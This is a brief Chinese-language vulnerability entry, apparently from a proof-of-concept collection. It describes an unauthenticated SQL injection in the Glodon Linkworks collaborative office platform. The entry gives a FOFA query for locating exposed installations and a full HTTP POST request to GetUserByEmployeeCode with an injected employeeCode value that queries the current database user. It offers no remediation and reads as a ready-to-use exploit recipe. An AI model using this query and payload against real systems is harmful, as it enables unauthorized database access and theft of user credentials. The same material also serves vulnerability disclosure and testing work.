G3-5广联达-Linkworks协同办公管理平台-SQL

漏洞描述：

广联达-Linkworks协同办公管理平台 GetUserByEmployeeCode、GetUserByUserCode、EmailAccountOrgUserService.asmx等接口处存在SQL注入漏洞，未经身份认证的攻击者可获取用户名密码等敏感信息。

网站图片：

网络测绘：

fofa语法：

body="Services/Identification/login.ashx" || header="Services/Identification/login.ashx" || banner="Services/Identification/login.ashx"

漏洞复现：

payload：

```
POST /Org/service/Service.asmx/GetUserByEmployeeCode HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 39
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close

employeeCode=1'-1/user--'&EncryptData=1
```

效果图:
查询当前用户